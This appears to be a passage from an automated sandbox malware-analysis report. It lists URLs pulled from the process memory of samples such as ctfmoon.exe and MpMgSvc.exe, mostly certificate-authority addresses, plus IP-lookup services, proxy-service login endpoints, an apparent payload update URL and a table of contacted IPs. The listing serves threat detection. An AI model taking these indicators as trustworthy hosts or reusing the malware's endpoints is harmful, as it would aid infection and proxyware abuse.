http://crl.chambersign.org/chambersroot.crl0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://ocsps.ssl.com0G	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	true
http://www.cip.cc	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://crl.dhimyotis.com/certignarootca.crl0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://ocsps.ssl.com0?	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
https://github.com/urfave/cli/blob/main/docs/CHANGELOG.md.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF	Meson.exe, 0000003D.00000002.4118996056.000000000A110000.00000004.00001000.00020000.00000000.sdmp	true
http://www.chambersign.org1	ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://repository.swisssign.com/0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://sslcom.crl.certum.pl/ctnca.crl0s	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://www.ascc.net/xml/schematron	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
https://api.iproyal.com/v1/users/loginPSwCB0VWbAAlZBEwPQBeOA4tBxw9M1FYCQ==CySYdpiZCN4Zy0J/wrRpx3Q7le	ctfmoon.exe, 0000003B.00000002.2123555517.0000000011A16000.00000004.00001000.00020000.00000000.sdmp	true
http://2024.ip138.com	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
https://github.com/Microsoft/clrmd	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp	true
http://ocsps.ssl.com0_	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://crl.dhimyotis.com/certignarootca.crl	ctfmoon.exe, 0000003B.00000002.2123555517.00000000119C2000.00000004.00001000.00020000.00000000.sdmp	true
http://ocsp.accv.es	ctfmoon.exe, 0000003B.00000002.2123555517.0000000011902000.00000004.00001000.00020000.00000000.sdmp	true
http://www.oberhumer.com	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://policy.camerfirma.com0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
https://github.com/urfave/cli/blob/main/docs/CHANGELOG.mdruntime:	Hooks.exe, 00000007.00000002.1981824704.0000000000E22000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010A33000.00000008.00000001.01000000.0000000B.sdmp, Meson.exe, 0000003D.00000000.2220030801.0000000000A6B000.00000002.00000001.01000000.0000000D.sdmp	true
http://schemas.xmlsoap.org/soap/encoding/	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120562809.0000000000455000.00000002.00000001.01000000.0000000C.sdmp	true
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f	Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp	true
https://wwww.certigna.fr/autorites/0m	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
https://api.iproyal.com1719641140worldIsShitty?api.iproyal.com:443tcpapi.iproyal.com	ctfmoon.exe, 0000003B.00000002.2123555517.0000000011902000.00000004.00001000.00020000.00000000.sdmp	true
http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
https://api.iproyal.com/v1/users/login	ctfmoon.exe, 0000003B.00000002.2121926894.0000000011892000.00000004.00001000.00020000.00000000.sdmp, ctfmoon.exe, 0000003B.00000002.2121926894.0000000011855000.00000004.00001000.00020000.00000000.sdmp	true
https://github.com/dotnet/diagnostics	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp	true
http://sslcom.repository.certum.pl/ctnca.cer0:	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://members.3322.org/dyndns/getiptaskkill	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
https://www.catcert.net/verarrel	ctfmoon.exe, 0000003B.00000002.2123555517.0000000011A16000.00000004.00001000.00020000.00000000.sdmp	true
http://crl.securetrust.com/STCA.crl	ctfmoon.exe, 0000003B.00000002.2123555517.0000000011902000.00000004.00001000.00020000.00000000.sdmp	true
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://www.zlib.net/D	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://crl.chambersign.org/chambersignroot.crl0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://crl.xrampsecurity.com/XGCA.crl0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
https://github.com/urfave/cli/blob/main/docs/CHANGELOG.md#deprecated-cli-app-action-signature	Meson.exe, 0000003D.00000002.4118996056.000000000A16E000.00000004.00001000.00020000.00000000.sdmp, Meson.exe, 0000003D.00000002.4118996056.000000000A170000.00000004.00001000.00020000.00000000.sdmp, Meson.exe, 0000003D.00000002.4118996056.000000000A16A000.00000004.00001000.00020000.00000000.sdmp	true
http://sslcom.ocsp-certum.com08	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl	ctfmoon.exe, 0000003B.00000002.2123555517.000000001196E000.00000004.00001000.00020000.00000000.sdmp	true
http://www.accv.es00	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://ssl.ftp21	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f8	Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp	true
http://crl.securetrust.com/SGCA.crl	ctfmoon.exe, 0000003B.00000002.2123555517.0000000011902000.00000004.00001000.00020000.00000000.sdmp	true
http://ocsp.sectigo.com0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	true
http://www.openssl.org/V	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://crl.netsolssl.com/NetworkSolutionsCertificateAuthority.crl0G1	ctfmoon.exe, 0000003B.00000002.2123555517.000000001196E000.00000004.00001000.00020000.00000000.sdmp	true
http://cps.chambersign.org/cps/chambersroot.html0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://schemas.xmlsoap.org/soap/envelope/	ctfmoon.exe, 0000003B.00000002.2120562809.0000000000455000.00000002.00000001.01000000.0000000C.sdmp	true
http://www.openssl.org/support/faq.html....................rbwb.rndC:HOMERANDFILEprng	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://ocsps.ssl.com0	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://www.firmaprofesional.com/cps0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	true
http://crl.securetrust.com/SGCA.crl0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://purl.oclc.org/dsdl/schematron	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
https://github.com/dotnet/corefx/tree/30ab651fcb4354552bd4891619a0bdd81e0ebdbf	Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp	true
https://api.iproyal.com/https://api6.my-ip.io/ipidna:	ctfmoon.exe, 0000003B.00000002.2120562809.0000000000455000.00000002.00000001.01000000.0000000C.sdmp	true
http://crl.securetrust.com/STCA.crl0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://www.openssl.org/support/faq.html	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://crls.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.crl0	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://members.3322.org/dyndns/getip	MpMgSvc.exe, MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtdConverting	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://www.quovadisglobal.com/cps0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl	ctfmoon.exe, 0000003B.00000002.2123555517.000000001196E000.00000004.00001000.00020000.00000000.sdmp	true
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
https://www.ssl.com/repository0	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://ip.360.cn/IPShare/infohttp://2024.ip138.comhttp://www.cip.cc	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://down.ftp21.cc/Update.txt1.cc/Update.txt56Aa.	svchost.exe, 00000008.00000002.4110527192.0000000002E97000.00000004.00000020.00020000.00000000.sdmp	true
http://www.ascc.net/xml/schematronhttp://purl.oclc.org/dsdl/schematronallocating	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://cps.chambersign.org/cps/chambersignroot.html0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://crl.certigna.fr/certignarootca.crl	ctfmoon.exe, 0000003B.00000002.2123555517.00000000119C2000.00000004.00001000.00020000.00000000.sdmp	true
http://crl.xrampsecurity.com/XGCA.crl	ctfmoon.exe, 0000003B.00000002.2123555517.0000000011902000.00000004.00001000.00020000.00000000.sdmp	true
https://sectigo.com/CPS0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	true
http://www.accv.es/legislacion_c.htm0U	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://ocsp.accv.es0	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp, ctfmoon.exe, 0000003B.00000002.2120767869.0000000000706000.00000008.00000001.01000000.0000000C.sdmp, ctfmoon.exe, 0000003B.00000000.2118361296.00000000006FD000.00000008.00000001.01000000.0000000C.sdmp	true
http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0B1	ctfmoon.exe, 0000003B.00000002.2123555517.000000001196E000.00000004.00001000.00020000.00000000.sdmp	true
http://ip.360.cn/IPShare/info	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt0#	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	true
http://www.oasis-open.org/committees/entity/release/1.0/catalog.dtd	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
https://github.com/dotnet/corefx/tree/30ab651fcb4354552bd4891619a0bdd81e0ebdbf8	Hooks.exe, 00000007.00000002.1981824704.0000000001A27000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000011605000.00000008.00000001.01000000.0000000B.sdmp	true
https://github.com/urfave/cli/blob/main/docs/CHANGELOG.md#deprecated-cli-app-action-signatureEastern	Meson.exe, 0000003D.00000002.4118996056.000000000A16A000.00000004.00001000.00020000.00000000.sdmp	true
https://www.certum.pl/CPS0	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://relaxng.org/ns/structure/1.0allocating	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	true
https://api.iproyal.com/v1/users/loginPost	ctfmoon.exe, 0000003B.00000002.2121926894.0000000011892000.00000004.00001000.00020000.00000000.sdmp	true
http://crls.ssl.com/ssl.com-rsa-RootCA.crl0	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
http://crls.ssl.com/SSL.com-timeStamping-I-RSA-R1.crl0	Hooks.exe, 00000007.00000002.1981824704.000000000112F000.00000040.00000001.01000000.0000000A.sdmp, Hooks.exe, 00000007.00000002.1981824704.0000000001B8E000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010F2D000.00000008.00000001.01000000.0000000B.sdmp, svchost.exe, 00000008.00000002.4112336911.000000001176B000.00000008.00000001.01000000.0000000B.sdmp	true
https://github.com/urfave/cli/blob/main/docs/CHANGELOG.md	Meson.exe, 0000003D.00000002.4118996056.000000000A110000.00000004.00001000.00020000.00000000.sdmp	true
http://crl.sectigo.com/SectigoPublicCodeSigningCAR36.crl0y	Hooks.exe, 00000007.00000002.1981824704.0000000000422000.00000040.00000001.01000000.0000000A.sdmp, svchost.exe, 00000008.00000002.4112336911.0000000010033000.00000008.00000001.01000000.0000000B.sdmp	true
http://&co=&resource_id=6006&oe=utf8/api.php?query=	MpMgSvc.exe, 00000004.00000002.4109072853.0000000000622000.00000040.00000001.01000000.00000009.sdmp	true

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
144.76.194.78	blnc.traffmonetizer.com	Germany		24940	HETZNER-ASDE	false

Private

IP
192.168.21.179
192.168.21.178
192.168.21.177
192.168.21.176
192.168.12.127
192.168.12.128
192.168.12.129
192.168.12.123
192.168.21.182
192.168.12.124
192.168.21.181
192.168.12.125
192.168.21.180
192.168.12.126
192.168.21.186
192.168.12.120
192.168.21.185
192.168.12.121
192.168.21.184
192.168.12.122
192.168.21.183
192.168.21.168
192.168.21.167
192.168.21.166
192.168.21.165
192.168.21.169
192.168.12.116
192.168.12.117
192.168.12.118
192.168.12.119
192.168.12.112
192.168.21.171
192.168.12.113
192.168.21.170
192.168.12.114
192.168.12.115
192.168.21.175
192.168.21.174
192.168.12.110
192.168.21.173
192.168.12.111
192.168.21.172
192.168.21.199
192.168.21.198
192.168.12.109
192.168.12.105
192.168.12.106
192.168.12.107
192.168.12.108
192.168.12.101
192.168.12.102
192.168.12.103
192.168.12.104
192.168.12.100
192.168.21.189
192.168.21.188
192.168.21.187
192.168.21.193
192.168.21.192
192.168.21.191
192.168.21.190
192.168.21.197
192.168.21.196
192.168.21.195
192.168.21.194
192.168.21.135
192.168.21.134
192.168.21.133
192.168.21.132
192.168.21.139
192.168.21.138
192.168.21.137
192.168.21.136
192.168.21.142
192.168.21.141
192.168.21.140
192.168.21.124
192.168.21.123
192.168.21.122
192.168.21.121
192.168.21.128
192.168.21.127
192.168.21.126
192.168.21.125
192.168.21.129
192.168.21.131
192.168.21.130
192.168.21.157
192.168.21.156
